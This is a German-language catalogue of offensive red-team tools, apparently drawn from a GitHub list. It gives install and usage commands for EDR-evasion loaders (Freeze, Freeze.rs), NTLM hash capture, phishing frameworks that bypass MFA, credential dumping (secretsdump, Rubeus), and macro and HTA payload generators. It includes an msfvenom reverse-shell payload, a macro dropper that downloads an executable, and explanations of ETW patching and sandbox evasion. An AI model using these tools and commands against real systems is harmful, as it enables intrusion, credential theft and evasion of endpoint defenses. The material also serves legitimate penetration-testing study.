Freeze ist ein Tool zur Erstellung von Payloads, das verwendet wird, um EDR-Sicherheitskontrollen zu umgehen und Shellcode auf unauffällige Weise auszuführen.
Freeze nutzt mehrere Techniken, um nicht nur Userland-EDR-Hooks zu entfernen, sondern auch Shellcode so auszuführen, dass andere Endpunkt-Überwachungskontrollen umgangen werden.
**Installation:**```bash
git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go
Verwendung:``` -I string Path to the raw 64-bit shellcode. -O string Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature. -encrypt Encrypts the shellcode using AES 256 encryption -export string For DLL Loaders Only - Specify a specific Export function for a loader to have. -process string The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' (default "notepad.exe") -sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -sha256 Provides the SHA256 value of the loaders (This is useful for tracking)
_Bild verwendet von https://www.blackhatethicalhacking.com/tools/freeze/_
### [🔙](#tool-list)[WordSteal](https://github.com/0x09AL/WordSteal)
Dieses Skript erstellt ein Microsoft Word-Dokument mit einem entfernten Bild, was die Erfassung von NTML-Hashes von einem entfernten Opfer-Endpunkt ermöglicht.
Microsoft Word bietet die Möglichkeit, Bilder von entfernten Orten einzubinden, einschließlich eines entfernten Bildes, das auf einem von Angreifern kontrollierten SMB-Server gehostet wird. Dies gibt Ihnen die Gelegenheit, NTLM-Hashes zu lauschen und zu erfassen, die gesendet werden, wenn ein authentifiziertes Opfer das Word-Dokument öffnet und das Bild rendert.
**Installation:**```
git clone https://github.com/0x09AL/WordSteal
cd WordSteal
Verwendung:```bash
./main.py 127.0.0.1 test.jpg 1
./main.py 127.0.0.1 test.jpg 0\n
_Bild verwendet von https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/_
---
### [🔙](#tool-list)[Freeze.rs](https://github.com/optiv/Freeze.rs.git)
Wenn Sie mehr über die in diesem Framework verwendeten Techniken erfahren möchten, werfen Sie einen Blick auf den SourceZero Blog und das ursprüngliche Tool.
**Beschreibung:**
Freeze.rs ist ein Tool zur Erstellung von Payloads, das verwendet wird, um EDR-Sicherheitskontrollen zu umgehen und Shellcode auf eine verdeckte Weise auszuführen. Freeze.rs nutzt mehrere Techniken, um nicht nur Userland-EDR-Hooks zu entfernen, sondern auch Shellcode so auszuführen, dass andere Endpunkt-Überwachungskontrollen umgangen werden.
**Erstellen eines angehaltenen Prozesses:**
Wenn ein Prozess erstellt wird, ist Ntdll.dll die erste DLL, die geladen wird; dies geschieht, bevor EDR-DLLs geladen werden. Das bedeutet, dass es eine kleine Verzögerung gibt, bevor eine EDR geladen werden kann und beginnt, Hooks zu setzen und den Assemblercode von System-DLLs zu modifizieren. Wenn man sich Windows-Syscalls in Ntdll.dll ansieht, sieht man, dass noch nichts gehooked ist. Wenn wir einen Prozess im angehaltenen Zustand erstellen (einen, der in der Zeit eingefroren ist), sehen wir, dass außer Ntdll.dll keine anderen DLLs geladen sind. Man sieht auch, dass keine EDR-DLLs geladen sind, was bedeutet, dass die Syscalls in Ntdll.dll unverändert sind.
**Address Space Layout Randomization**
Um diesen sauberen angehaltenen Prozess zu verwenden, um Hooks aus dem Freeze.rs-Loader zu entfernen, benötigen wir eine Möglichkeit, programmatisch den Speicher des sauberen angehaltenen Prozesses zu finden und zu lesen. Hier kommt die Address Space Layout Randomization (ASLR) ins Spiel. ASLR ist ein Sicherheitsmechanismus zur Verhinderung von Schwachstellen, die auf Stack-Speicherkorruption basieren. ASLR randomisiert den Adressraum innerhalb eines Prozesses, um sicherzustellen, dass alle speicherabgebildeten Objekte, der Stack, der Heap und das ausführbare Programm selbst einzigartig sind. Nun wird es interessant, denn obwohl ASLR funktioniert, funktioniert es nicht für positionsunabhängigen Code wie DLLs. Was bei DLLs (insbesondere bekannten System-DLLs) passiert, ist, dass der Adressraum einmal beim Booten randomisiert wird. Das bedeutet, dass wir keine Informationen eines entfernten Prozesses aufzählen müssen, um die Basisadresse seiner ntdll.dll zu finden, da sie in allen Prozessen gleich ist, einschließlich des von uns kontrollierten. Da die Adresse jeder DLL pro Boot an derselben Stelle liegt, können wir diese Informationen aus unserem eigenen Prozess abrufen und müssen nie den angehaltenen Prozess aufzählen, um die Adresse zu finden.
Mit diesen Informationen können wir die API ReadProcessMemory verwenden, um den Speicher eines Prozesses zu lesen. Dieser API-Aufruf wird häufig mit dem Lesen von LSASS im Rahmen von angriffsbasierten Angriffen in Verbindung gebracht; jedoch ist er an sich nicht bösartig, insbesondere wenn wir nur einen beliebigen Speicherbereich lesen. Das einzige Mal, dass ReadProcessMemory als verdächtig eingestuft wird, ist, wenn man etwas liest, das man nicht sollte (wie den Inhalt von LSASS). EDR-Produkte sollten niemals die Tatsache kennzeichnen, dass ReadProcessMemory aufgerufen wurde, da es legitime betriebliche Verwendungen für diese Funktion gibt und dies zu vielen Fehlalarmen führen würde.
Wir können noch einen Schritt weiter gehen, indem wir nur einen Abschnitt von Ntdll.dll lesen, in dem alle Syscalls gespeichert sind – den .text-Abschnitt, anstatt die gesamte DLL zu lesen.
Durch die Kombination dieser Elemente können wir programmatisch eine Kopie des .text-Abschnitts von Ntdll.dll erhalten, um unseren vorhandenen gehookten .text-Abschnitt vor der Ausführung von Shellcode zu überschreiben.
**ETW Patching**
ETW nutzt eingebaute Syscalls, um diese Telemetrie zu generieren. Da ETW auch eine native Funktion von Windows ist, müssen Sicherheitsprodukte die ETW-Syscalls nicht 'hoken', um auf die Informationen zuzugreifen. Daher patcht Freeze.rs, um ETW zu verhindern, zahlreiche ETW-Syscalls, leert die Register und gibt den Ausführungsfluss an die nächste Anweisung zurück. Das Patchen von ETW ist jetzt standardmäßig in allen Loadern.
**Shellcode**
Mit der Rust NTAPI-Crate kann man sehen, dass all diese Aufrufe nicht unter ntdll.dll auftauchen, jedoch existieren sie weiterhin innerhalb des Prozesses.
Als Ergebnis:
**Warum Rust?**
Dies begann als ein lustiges Projekt, um Rust zu lernen, und ist zu einem eigenen Framework herangewachsen.
**Mitwirken**
Freeze.rs wurde in Rust entwickelt.
**Installation**
Wenn Rust und Rustup nicht installiert sind, bitte installieren Sie sie. Wenn Sie es von OSX oder Linux aus kompilieren, stellen Sie sicher, dass das Target 'x86_64-pc-windows-gnu' hinzugefügt wurde. Führen Sie dazu den folgenden Befehl aus:
Sobald dies erledigt ist, können Sie Freeze.rs kompilieren, die folgenden Befehle ausführen oder die kompilierte Binärdatei verwenden:```bash
git clone https://github.com/optiv/Freeze
cd Freeze
rustup target add x86_64-pc-windows-gnu
cargo build --release
Von dort aus befindet sich die kompilierte Version in target/release (beachten Sie, wenn Sie --release nicht setzen, wird die Datei in target/debug/ sein)```bash
___________
_ /_ ____ ____ ________ ____ _______ ______
| ) _ __ _/ __ _/ __ \_ // __ \ _ __ / /
| \ | | /\ /\ / / /\ / | | /_
_ / || _ >_ >___ \___ > /\ |__| /____ >
/ / / / / / /
(@Tyl0us)
Soon they will learn that revenge is a dish... best served COLD & Rusty...
USAGE: Freeze-rs [FLAGS] [OPTIONS]
FLAGS: -c, --console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature -h, --help Prints help information -n, --noetw Disables the ETW patching that prevents ETW events from being generated. -s, --sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -V, --version Prints version information
OPTIONS: -E, --Encrypt Encrypts the shellcode using either AES 256, ELZMA or RC4 encryption -I, --Input Path to the raw 64-bit shellcode. -O, --Output Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -p, --process The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' -e, --export Defines a custom export function name for any DLL.
**Binärdatei vs. DLL**
Freeze.rs kann entweder eine .exe- oder eine .dll-Datei erzeugen. Um dies festzulegen, stellen Sie sicher, dass die Befehlszeilenoption -O entweder auf .exe für Binärdateien oder .dll für DLLs endet. Andere Dateitypen werden derzeit nicht unterstützt. Im Falle von DLL-Dateien kann Freeze.rs auch zusätzliche Exportfunktionen hinzufügen. Verwenden Sie dazu -export mit einem bestimmten Export-Funktionsnamen.
**Verschlüsselung**
Die Verschlüsselung von Shellcode ist eine wichtige Technik, um ihn vor der Erkennung und Analyse durch EDRs und andere Sicherheitsprodukte zu schützen. Freeze.rs bietet mehrere Methoden zur Verschlüsselung von Shellcode, darunter AES, ELZMA und RC4.
**AES**
AES (Advanced Encryption Standard) ist ein symmetrischer Verschlüsselungsalgorithmus, der weit verbreitet zur Verschlüsselung von Daten eingesetzt wird. Freeze.rs verwendet AES-256-Bit, um den Shellcode zu verschlüsseln. Der Vorteil der Verwendung von AES zur Shellcode-Verschlüsselung liegt in der starken Verschlüsselung und der breiten Unterstützung durch kryptografische Bibliotheken. Die Verwendung einer festen Blockgröße kann jedoch anfällig für bestimmte Angriffe wie den Padding-Oracle-Angriff machen.
**ELZMA**
ELZMA ist ein Kompressions- und Verschlüsselungsalgorithmus, der häufig in Malware zur Verschleierung des Codes eingesetzt wird. Um Shellcode mit ELZMA zu verschlüsseln, wird der Shellcode zunächst mit dem ELZMA-Algorithmus komprimiert. Die komprimierten Daten werden dann mit einem zufälligen Schlüssel verschlüsselt. Die verschlüsselten Daten und der Schlüssel werden anschließend in den Exploit-Code eingebettet. Der Vorteil der Verwendung von ELZMA zur Shellcode-Verschlüsselung besteht darin, dass sowohl Kompression als auch Verschlüsselung in einem einzigen Algorithmus vereint sind. Dies kann dazu beitragen, die Größe des Exploit-Codes zu reduzieren und die Erkennung zu erschweren.
**RC4**
RC4 ist ein symmetrischer Verschlüsselungsalgorithmus, der häufig in Malware zur Verschlüsselung von Shellcode verwendet wird. Es handelt sich um eine Stromchiffre, die Schlüssel variabler Länge verwendet und für ihre Einfachheit und Geschwindigkeit bekannt ist.
**Konsole**
Freeze.rs verwendet eine Technik, bei der zunächst der Prozess erstellt und dann in den Hintergrund verschoben wird. Dies bewirkt zweierlei: Erstens hilft es, den Prozess verborgen zu halten, und zweitens wird die Erkennung durch EDR-Produkte vermieden. Einen Prozess sofort im Hintergrund zu starten, kann sehr verdächtig wirken und ein Indikator für Bösartigkeit sein. Freeze.rs ruft dazu nach der Erstellung des Prozesses und dem Laden der EDR-Hooks die Windows-Funktionen ‘GetConsoleWindow’ und ‘ShowWindow’ auf und ändert dann die Fensterattribute auf „versteckt“.
Wird die Befehlszeilenoption -console gewählt, blendet Freeze.rs den Prozess nicht in den Hintergrund. Stattdessen fügt Freeze.rs mehrere Debug-Meldungen hinzu, die anzeigen, was der Loader gerade tut.
---
### [🔙](#tool-list)WSH
**Payload erstellen:**```vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
Ausführen:```bash wscript payload.vbs cscript.exe payload.vbs wscript /e:VBScript payload.txt //If .vbs files are blacklisted
### [🔙](#tool-list)HTA
**Payload erstellen:**```html
<html>
<body>
<script>
var c = "cmd.exe";
new ActiveXObject("WScript.Shell").Run(c);
</script>
</body>
</html>
Ausführen: Datei ausführen
Payload erstellen:```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub
**Ausführen:** Setze Funktion auf Auto_Open() in makroaktiviertem Dokument
# Erstzugriff
### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)
Der Bash Bunny ist ein physisches USB-Angriffswerkzeug und ein multifunktionales Payload-Auslieferungssystem. Es ist dafür ausgelegt, in einen USB-Anschluss eines Computers gesteckt zu werden, und kann programmiert werden, um verschiedene Funktionen auszuführen, darunter das Manipulieren und Exfiltrieren von Daten, das Installieren von Malware und das Umgehen von Sicherheitsmaßnahmen.
[hackinglab: Bash Bunny – Leitfaden](https://hackinglab.cz/en/blog/bash-bunny-guide/)
[Hak5 Dokumentation](https://docs.hak5.org/bash-bunny/)
[Payload-Repository](https://github.com/hak5/bashbunny-payloads)
[Produktseite](https://hak5.org/products/bash-bunny)
### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)
evilginx2 + gophish. (GoPhish) Gophish ist ein leistungsstarkes Open-Source-Phishing-Framework, das es einfach macht, die Gefährdung einer Organisation durch Phishing zu testen. (evilginx2) Ein eigenständiges Man-in-the-Middle-Angriffsframework, das zum Phishing von Anmeldeinformationen zusammen mit Sitzungscookies verwendet wird, wodurch die Zwei-Faktor-Authentifizierung umgangen werden kann.
**Installation:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish
Verwendung:``` Usage: ./setup <subdomain(s)>
### [🔙](#tool-list)[Social Engineer Toolkit (SET)](https://github.com/IO1337/social-engineering-toolkit)
Dieses Framework eignet sich hervorragend zum Erstellen von Kampagnen für den Erstzugriff. „SET verfügt über eine Reihe von benutzerdefinierten Angriffsvektoren, mit denen Sie schnell einen glaubwürdigen Angriff durchführen können.“
**Installation:**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install
Verwendung:```bash python3 setoolkit
### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)
Nützliches Tool für Brute-Force-Angriffe auf Logins. Kann eine Reihe von Diensten wie SSH, FTP, TELNET, HTTP usw. angreifen.
**Installation:**```bash
sudo apt install hydra
Verwendung:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)
SquarePhish ist ein fortschrittliches Phishing-Tool, das eine Technik verwendet, die den OAuth Device Code Authentication Flow und QR-Codes kombiniert (siehe [PhishInSuits](https://github.com/secureworks/PhishInSuits) um mehr über den OAuth Device Code Flow für Phishing-Angriffe zu erfahren).
Angriffsschritte:
- Senden eines schädlichen QR-Codes an das Opfer
- Opfer scannt QR-Code mit mobilem Gerät
- Opfer wird zu einem vom Angreifer kontrollierten Server weitergeleitet (Auslösen des OAuth Device Code Authentifizierungsfluss-Prozesses)
- Opfer erhält per E-Mail einen MFA-Code (Auslösen des 15-minütigen Timers des OAuth Device Code Flows)
- Angreifer fragt nach Authentifizierung ab
- Opfer gibt den Code auf der legitimen Microsoft-Website ein
- Angreifer speichert Authentifizierungstoken
**Install:**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
Hinweis: Bevor Sie eines der Module verwenden, aktualisieren Sie die erforderlichen Informationen in der settings.config-Datei, die mit Required gekennzeichnet sind.
Verwendung (E-Mail-Modul):``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments: -h, --help show this help message and exit
-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL victim email address to send initial QR code email to
**Verwendung (Server-Modul):**```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
King Phisher ist ein Werkzeug, das Angreifern ermöglicht, Phishing-E-Mails zu erstellen und an Opfer zu senden, um vertrauliche Informationen zu erlangen.
Es bietet Funktionen wie anpassbare Vorlagen, Kampagnenverwaltung und E-Mail-Versandmöglichkeiten, was es zu einem leistungsstarken und benutzerfreundlichen Werkzeug für die Durchführung von Phishing-Angriffen macht. Mit King Phisher können Angreifer Einzelpersonen oder Organisationen mit gezielten und überzeugenden Phishing-E-Mails ins Visier nehmen, wodurch die Erfolgschancen ihrer Angriffe steigen.
Installation (Linux – Client & Server):```bash
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh
**Verwendung:**
Sobald King Phisher installiert ist, folgen Sie bitte der [Wiki-Seite](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started), um SSH, die Datenbankkonfiguration, den SMTP-Server usw. einzurichten.
# Ausführung
---
[🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder ist ein Werkzeug zur Vergiftung der LLMNR- und NBT-NS-Protokolle in einem Netzwerk, um die Erfassung von Anmeldeinformationen und die Ausführung beliebigen Codes zu ermöglichen.
Die Protokolle LLMNR (Link-Local Multicast Name Resolution) und NBT-NS (NetBIOS Name Service) werden von Windows-Systemen verwendet, um Hostnamen in IP-Adressen in einem lokalen Netzwerk aufzulösen. Wenn ein Hostname mit diesen Protokollen nicht aufgelöst werden kann, sendet das System eine Broadcast-Anfrage für den Hostnamen an das lokale Netzwerk.
Responder hört auf diese Broadcasts und antwortet mit einer gefälschten IP-Adresse, wodurch das anfragende System dazu gebracht wird, seine Anmeldeinformationen an den Angreifer zu senden.
**Installation:**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
Verwendung:```bash
./Responder.py [options]
./Responder.py -I eth0 -wrf
Full usage information can be found [here](https://github.com/SpiderLabs/Responder#usage).
_Bild verwendet von https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/_
### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
Ein Dienstprogramm, das Teil der Impacket-Bibliothek ist und zum Extrahieren von Passwort-Hashes und anderen Geheimnissen aus einem Windows-System verwendet werden kann.
Es interagiert dazu mit der Security Account Manager (SAM)-Datenbank auf dem System und extrahiert die gehashten Passwörter und andere Informationen, wie z. B.:
- Passwort-Hashes für lokale Konten
- Kerberos-Tickets und -Schlüssel
- LSA-Geheimnisse
**Installation:**```bash
python3 -m pip install impacket
Verwendung:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]
_Bild verwendet von https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy_
### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)
Evil-WinRM ist ein Tool, das eine Befehlszeilenschnittstelle für Windows Remote Management (WinRM: _Ein Dienst, der Administratoren die Remote-Ausführung von Befehlen auf einem Windows-Rechner ermöglicht_) bereitstellt.
Evil-WinRM ermöglicht es einem Angreifer, sich per WinRM remote mit einem Windows-Rechner zu verbinden und beliebige Befehle auszuführen.
Zu den Funktionen gehören:
- Laden von Powershell-Skripten in den Arbeitsspeicher
- Laden von DLL-Dateien in den Arbeitsspeicher, wodurch einige AVs umgangen werden
- Laden von x64-Payloads
- Pass-the-Hash-Unterstützung
- Hoch- und Herunterladen lokaler und entfernter Dateien
**Installation: (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
Installation: (Ruby gem)```bash gem install evil-winrm
Alternative Installationsanleitungen finden Sie [hier](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methods).
**Verwendung:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
Full usage documentation can be found here.
Bild verwendet von https://korbinian-spielvogel.de/posts/heist-writeup/
Ein Werkzeug zur Ausführung von VBScript-, JScript-, EXE-, DLL-Dateien und dotNET-Assemblys im Arbeitsspeicher. Es kann verwendet werden, um benutzerdefinierte Payloads auf Zielsystemen zu laden und auszuführen, ohne dass Dateien auf die Festplatte geschrieben werden müssen.
Installation: (Windows)```bash git clone http://github.com/thewover/donut.git
Um die Loader-Vorlage, die dynamische Bibliothek donut.dll, die statische Bibliothek donut.lib und den Generator donut.exe zu erstellen. Starten Sie eine x64 Microsoft Visual Studio Developer-Eingabeaufforderung, wechseln Sie in das Verzeichnis, in das Sie das Donut-Repository geklont haben, und geben Sie Folgendes ein:```bash
nmake -f Makefile.msvc
Um dasselbe zu tun, außer mit MinGW-64 unter Windows oder Linux, wechseln Sie in das Verzeichnis, in das Sie das Donut-Repository geklont haben, und geben Sie Folgendes ein:```bash make -f Makefile.mingw
**Installieren: (Linux)**```bash
pip3 install donut-shellcode
Verwendung:```bash
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
Ausführliche Nutzungsinformationen finden Sie auf der donut [GitHub-Seite](https://github.com/TheWover/donut/#4-usage).
Weitere Informationen finden Sie in [einem aktuellen Blogbeitrag](https://thewover.github.io/Bear-Claw/) von The Wover.
### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)
Ein Tool zur Automatisierung der Verschleierung und Generierung von Office-Dokumenten, VB-Skripten, Verknüpfungen und anderen Formaten für Red Teaming.
**Installation: (Binär)**
1. Holen Sie sich die neueste Binärdatei von [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)
2. Laden Sie die Binärdatei auf einem PC mit installiertem originalem Microsoft Office herunter.
3. Öffnen Sie die Konsole, wechseln Sie mit CD in das Binärverzeichnis und rufen Sie die Binärdatei auf.
**Installation: (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Verwendung:```bash
python3 macro_pack.py --help
macro_pack.exe --listformats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
macro_pack.exe -f empire.vba -o -G myDoc.docm
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
echo calc.exe | macro_pack.exe --dde -G calc.xslx
### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
Eine Sammlung von PowerShell-Skripten und -Modulen, die verwendet werden können, um eine Vielzahl von Red-Teaming-Zielen zu erreichen.
Einige der Funktionen von PowerSploit:
- Passwort-Hashes auslesen und Klartext-Passwörter aus dem Speicher extrahieren
- Rechte erweitern und Sicherheitskontrollen umgehen
- Beliebigen PowerShell-Code ausführen und Ausführungsbeschränkungen umgehen
- Netzwerk-Rekognoszierung und -Erkundung durchführen
- Payloads generieren und Exploits ausführen
**Installation:** _1. Im PowerShell-Module-Ordner speichern_
Zuerst müssen Sie den [PowerSploit-Ordner](https://github.com/PowerShellMafia/PowerSploit) herunterladen und in Ihrem PowerShell-Module-Ordner speichern.
Den Pfad zu Ihrem PowerShell-Module-Ordner finden Sie mit folgendem Befehl:```
$Env:PSModulePath
Installieren: 2. PowerSploit als PowerShell-Modul installieren
Sie müssen dann das PowerSploit-Modul installieren (verwenden Sie den Namen des heruntergeladenen Ordners).
Hinweis: Ihre PowerShell-Ausführungsrichtlinie könnte Sie blockieren. Führen Sie den folgenden Befehl aus, um dies zu beheben.``` powershell.exe -ep bypass
Jetzt können Sie das PowerSploit-Modul installieren.```
Import-Module PowerSploit
Verwendung:``` Get-Command -Module PowerSploit
### [🔙](#tool-list)[Rubeus](https://github.com/GhostPack/Rubeus)
Ein Tool, das verwendet werden kann, um verschiedene Aktionen im Zusammenhang mit Microsoft Active Directory (AD)-Umgebungen durchzuführen, wie das Auslesen von Passwort-Hashes, das Erstellen/Löschen von Benutzern und das Ändern von Benutzereigenschaften.
Einige der Funktionen von Rubeus:
- Kerberoasting
- Golden ticket attacks
- Silver ticket attacks
**Installation: (Download)**
Sie können das inoffizielle vorkompilierte Rubeus-Binary [hier](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe) installieren.
**Installation: (Kompilieren)**
Rubeus ist kompatibel mit [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Öffnen Sie das Rubeus-[Projekt .sln](https://github.com/GhostPack/Rubeus), wählen Sie „Release“ und erstellen Sie es.
**Verwendung:**```
Rubeus.exe -h
Ein nützliches Tool zur Überprüfung eines Opfer-Endpunkts auf Schwachstellen im Zusammenhang mit Prozessen mit hoher Integrität, Gruppen, kaperbaren Pfaden usw.
Installation: (Herunterladen)
Sie können die inoffizielle, vorkompilierte SharpUp-Binärdatei hier installieren.
Installation: (Kompilieren)
SharpUp ist kompatibel mit Visual Studio 2015 Community Edition. Öffnen Sie die SharpUp Projektmappe (.sln), wählen Sie "Release" und erstellen Sie die Lösung.
Verwendung:```bash SharpUp.exe audit #-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths #-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths #-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.
### [🔙](#tool-list)[SQLRecon](https://github.com/skahwah/SQLRecon)
MS-SQL (Microsoft SQL Server) ist ein von Microsoft entwickeltes und vertriebenes relationales Datenbankmanagementsystem.
Dieses C# MS-SQL-Toolkit wurde für offensive Aufklärung und Post-Exploitation entwickelt. Detaillierte Informationen zu den einzelnen Techniken finden Sie im [Wiki](https://github.com/skahwah/SQLRecon/wiki).
**Installation: (Binary)**
Sie können die neueste Binärversion von [hier](https://github.com/skahwah/SQLRecon/releases) herunterladen.
**Verwendung:**```bash
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
Vollständige Nutzungsinformationen finden Sie im Wiki.
Informationen zur Verwendung der Toolmodule finden Sie hier.
Bild verwendet von der SQLRecon-Hilfeseite
Diese Ressource ist eine Sammlung der gängigsten und bekanntesten Techniken zur Umgehung von AppLocker.
Da AppLocker auf verschiedene Arten konfiguriert werden kann, pflegt @api0cradle eine verifizierte Liste von Umgehungen (die gegen die standardmäßigen AppLocker-Regeln funktioniert) und eine Liste mit möglichen Umgehungstechniken (abhängig von der Konfiguration) oder solchen, die von jemandem als Umgehung behauptet werden.
Sie haben auch eine Liste generischer Umgehungstechniken sowie eine Legacy-Liste von Methoden zur Ausführung über DLLs.
Indizierte Listen
Bild verwendet von https://github.com/api0cradle/UltimateAppLockerByPassList
Ein auf JavaScript und VBScript basierender Empire-Launcher, der in einem eigenen eingebetteten PowerShell-Host läuft.
Beide Launcher laufen im eigenen eingebetteten PowerShell-Host, sodass wir PowerShell.exe nicht benötigen.
Dies kann nützlich sein, wenn ein Unternehmen PowerShell.exe blockiert und/oder eine Anwendungs-Whitelisting-Lösung verwendet, aber das Ausführen von JS/VBS-Dateien nicht blockiert.
Verwendung:
Für die JavaScript-Version verwenden Sie die folgende Variable:```javascript var EncodedPayload = "";
Für die VBScript-Version verwenden Sie die folgende Variable:```vbscript
Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"
Bild verwendet von https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html
Das Ziel dieses Projekts ist es, .html-Dateien zu generieren, die eine verschlüsselte HTA-Datei enthalten.
Die Idee ist, dass beim Besuch der Seite durch das Ziel der Schlüssel abgerufen wird und die HTA dynamisch im Browser entschlüsselt und direkt an den Benutzer weitergeleitet wird.
Dies ist eine Umgehungstechnik, um die von einigen Sicherheitsappliances implementierte Inhalts-/Dateityp-Überprüfung zu umgehen.
Weitere technische Informationen hier.
Installation:``` git clone https://github.com/nccgroup/demiguise cd demiguise
**Verwendung:**```bash
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
Bild verwendet von https://github.com/nccgroup/demiguise
Impacket bietet eine Reihe von Low-Level-Python-Bindings für verschiedene Netzwerkprotokolle, darunter SMB, Kerberos und LDAP, sowie höherstufige Bibliotheken für die Interaktion mit Netzwerkdiensten und die Durchführung spezifischer Aufgaben wie das Auslesen von Passwort-Hashes und das Erstellen von Netzwerkfreigaben.
Es enthält außerdem eine Reihe von Befehlszeilentools, mit denen verschiedene Aufgaben ausgeführt werden können, wie das Auslesen von SAM-Datenbanken, das Auflisten von Domänenvertrauensstellungen und das Knacken von Windows-Passwörtern.
Installation:```bash python3 -m pip install impacket
**Installation: (mit Beispielskripten)**
Laden Sie [das Paket](https://github.com/fortra/impacket) herunter und entpacken Sie es, navigieren Sie dann zum Installationsverzeichnis und führen Sie ... aus```bash
python3 -m pip install .
Verwendung:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
netview.py domain/user:password -target 192.168.10.2
mssqlinstance.py 192.168.1.2
GetADUsers.py domain/user:password@IP
Great [Spickzettel](https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/) für die Impacket-Nutzung.
### [🔙](#tool-list)[Empire](https://github.com/EmpireProject/Empire)
Empire ist ein Post-Exploitation-Framework, mit dem Sie Payloads generieren können, um Remote-Verbindungen zu Opfersystemen herzustellen.
